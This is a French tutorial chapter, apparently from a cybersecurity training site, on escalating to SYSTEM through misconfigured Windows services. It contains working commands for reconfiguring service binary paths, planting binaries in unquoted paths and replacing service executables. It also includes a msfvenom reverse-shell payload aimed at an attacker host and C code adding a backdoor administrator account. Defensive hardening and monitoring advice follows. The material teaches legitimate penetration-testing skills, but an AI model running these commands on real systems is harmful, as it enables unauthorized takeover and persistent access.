Mauvaises configurations de services

Exploiter les permissions de services faibles pour obtenir un accès SYSTEM

Permissions faiblesChemins non quotésRemplacement de binaire

Ce que vous allez découvrir

🎯 Pourquoi c'est important

Les services Windows s'exécutent avec des privilèges élevés, souvent en tant que LocalSystem. Les mauvaises configurations dans les permissions de services, les chemins ou les emplacements de binaires créent des chemins d'élévation de privilèges fiables. Les exploits de services sont parmi les découvertes les plus courantes dans les tests d'intrusion réels.

🔍 Ce que vous allez apprendre

  • Comment identifier les permissions de services faibles avec accesschk et sc
  • Exploiter les chemins de services non quotés pour le DLL hijacking
  • Remplacer les binaires de services quand les répertoires sont inscriptibles
  • Modifier les configurations de services pour exécuter du code arbitraire

🚀 Votre première victoire

Dans les 15 prochaines minutes, vous comprendrez trois techniques d'attaque de services distinctes et comment identifier quand chacune s'applique.

🔧 Essayez maintenant

Recherchez les chemins de services non quotés sur votre système :

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

Vous verrez : Les services avec des chemins contenant des espaces mais sans guillemets. Ce sont des vulnérabilités potentielles de chemin de service non quoté si vous avez un accès en écriture aux répertoires intermédiaires.

Compétences que vous maîtriserez

✅ Compréhension fondamentale

  • Architecture des services Windows
  • Droits d'accès et permissions des services
  • Parsing des chemins sous Windows
  • Contextes de démarrage des services

🔍 Compétences expertes

  • Exploitation SERVICE_CHANGE_CONFIG
  • Attaques par remplacement de binaire
  • Exploitation de chemins non quotés
  • Abus de récupération de service

Comprendre les mauvaises configurations de services

Les services Windows sont des processus en arrière-plan qui démarrent automatiquement ou à la demande. Ils s'exécutent généralement avec des privilèges élevés - beaucoup en tant que LocalSystem, le compte le plus puissant sur la machine. Quand les configurations de services sont faibles, vous pouvez en abuser pour exécuter du code avec ces privilèges élevés.

Service faible = Votre code s'exécutant en tant que SYSTEM

Types de permissions de services

Les services ont leur propre ACL avec des droits d'accès spécifiques. Les plus dangereux sont :

Permission Vecteur d'attaque
SERVICE_CHANGE_CONFIG Modifier le chemin du binaire vers votre payload
SERVICE_ALL_ACCESS Contrôle total - faire n'importe quoi
GENERIC_WRITE Inclut SERVICE_CHANGE_CONFIG
SERVICE_START Déclencher le redémarrage du service après modification

Attaque 1 : Permissions de services faibles

Quand vous avez les droits SERVICE_CHANGE_CONFIG, vous pouvez modifier le chemin du binaire du service pour pointer vers votre payload :

# Trouver les services avec des permissions faibles (avec Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Vérifier les permissions d'un service spécifique
sc qc VulnerableService
sc sdshow VulnerableService

# Modifier le chemin du binaire
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Redémarrer le service (si vous avez la permission SERVICE_START)
sc stop VulnerableService
sc start VulnerableService

# Si vous ne pouvez pas redémarrer, attendez un redémarrage système

Attaque 2 : Chemins de services non quotés

Quand un chemin de service contient des espaces et n'est pas quoté, Windows essaie de trouver l'exécutable en parsant le chemin de gauche à droite :

# Exemple de chemin vulnérable :
C:\Program Files\Vulnerable App\service.exe

# Windows essaiera ceux-ci dans l'ordre :
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# Si vous pouvez écrire dans C:\ ou C:\Program Files\, vous pouvez créer :
# C:\Program.exe (votre binaire malveillant)

# Trouver les chemins non quotés
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Vérifier les permissions d'écriture sur les répertoires intermédiaires
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Créer un exécutable malveillant nommé pour être trouvé en premier
copy shell.exe "C:\Program Files\Vulnerable.exe"

Attaque 3 : Binaire de service inscriptible

Si vous pouvez écrire dans le répertoire contenant l'exécutable du service, vous pouvez le remplacer entièrement :

# Vérifier si le répertoire du binaire de service est inscriptible
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Remplacer le binaire
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Redémarrer le service
sc stop VulnerableService
sc start VulnerableService

Outils et techniques

Création de payloads compatibles avec les services

Les services s'attendent à des binaires qui interagissent avec le Service Control Manager. Si votre payload ne le fait pas, le service démarrera et s'arrêtera immédiatement - mais votre code s'exécute quand même :

# Générer un payload compatible service avec msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Ou utiliser un wrapper qui ajoute un utilisateur
# Ce code C crée un exe compatible service :
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compiler avec mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Exploitation avec PowerUp

PowerUp fournit des fonctions pour exploiter chaque mauvaise configuration de service :

# Pour les permissions de services faibles
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# Pour les chemins non quotés
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# Pour les binaires inscriptibles
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk de Sysinternals

Accesschk est l'outil de référence pour l'analyse des permissions :

# Vérifier les services accessibles par Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Vérifier un service spécifique
accesschk.exe -ucqv VulnerableService /accepteula

# Vérifier les permissions de répertoire
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Télécharger depuis : https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Scénarios d'attaque réels

🔴 Scénario : Logiciel tiers avec permissions de services faibles

Un poste de travail d'entreprise a un ancien logiciel de sauvegarde installé. L'installateur du fournisseur a créé un service avec des ACL faibles, permettant aux "Authenticated Users" de modifier sa configuration. Un attaquant avec n'importe quel compte de domaine peut élever vers SYSTEM sur n'importe quel poste de travail avec ce logiciel.

Impact : Un installateur de service faible → Accès SYSTEM sur des centaines de postes de travail

🟠 Scénario : Chemin non quoté dans une application personnalisée

Une application interne personnalisée s'installe dans "C:\Program Files\Company App\bin\service.exe" sans guillemets. Un attaquant qui peut écrire dans "C:\Program Files\" crée "Company.exe" qui s'exécute en tant que SYSTEM quand le service redémarre.

Note : Cela nécessite un accès en écriture à un répertoire intermédiaire, ce qui est rare sur les systèmes correctement configurés mais courant quand les administrateurs modifient les permissions par défaut.

💡 Conseil d'expert

Les mauvaises configurations de services sont souvent introduites par les installateurs de logiciels tiers plutôt que par Windows lui-même. Lors des tests, prêtez une attention particulière aux services non-Microsoft. Les fournisseurs privilégient fréquemment la fonctionnalité à la sécurité dans leurs routines d'installation.

Contre-mesures défensives

Durcissement des services

  • Toujours utiliser des chemins quotés pour les exécutables de service
  • Définir des ACL de service restrictives lors de l'installation
  • Exécuter les services avec les privilèges minimum requis (pas LocalSystem quand possible)
  • Utiliser des Group Managed Service Accounts (gMSA) pour les comptes de service

Protection des répertoires

  • Maintenir les permissions par défaut sur C:\ et Program Files
  • Ne jamais accorder aux Users ou Authenticated Users l'accès en écriture aux répertoires de programmes
  • Auditer régulièrement les permissions du système de fichiers avec accesschk
  • Utiliser le whitelisting d'applications pour empêcher les exécutables non autorisés

Surveillance

  • Surveiller les changements de configuration de service (Event ID 7040)
  • Alerter sur la création de nouveaux services
  • Observer les patterns d'utilisation de accesschk.exe ou sc.exe
  • Implémenter la surveillance d'intégrité des fichiers pour les binaires de service

Questions fréquemment posées

Mon payload s'exécute mais le service s'arrête immédiatement. Quel est le problème ?

Les services s'attendent à des binaires qui communiquent avec le Service Control Manager. Utilisez msfvenom -f exe-service pour un payload compatible service, ou acceptez que votre code s'exécutera pendant la brève fenêtre de démarrage avant que le service ne soit tué.

J'ai trouvé un chemin non quoté mais je ne peux écrire dans aucun répertoire intermédiaire. Est-ce quand même exploitable ?

Non. Les chemins non quotés nécessitent un accès en écriture à un répertoire intermédiaire dans le chemin. Si tous les répertoires sont correctement protégés, la mauvaise configuration existe mais n'est pas exploitable. Signalez-la quand même comme découverte - des changements de permissions pourraient la rendre exploitable à l'avenir.

Puis-je redémarrer un service sans privilèges administratifs ?

Seulement si l'ACL du service vous accorde SERVICE_START et SERVICE_STOP. Vérifiez avec accesschk -ucqv ServiceName. Si vous ne pouvez pas redémarrer, attendez un redémarrage système ou trouvez un autre déclencheur (certains services redémarrent en cas de crash).

🎯 Exploitation de services - Chargé !

Vous connaissez maintenant trois puissantes techniques d'attaque de services : permissions faibles, chemins non quotés et remplacement de binaire. Ce sont parmi les vecteurs d'élévation de privilèges les plus fiables dans les environnements réels.

Permissions faibles Chemins non quotés Remplacement de binaire Automatisation PowerUp

Prêt à exploiter les attaques basées sur le registre →

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Quel droit d'accès permet de modifier le chemin binaire d'un service ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte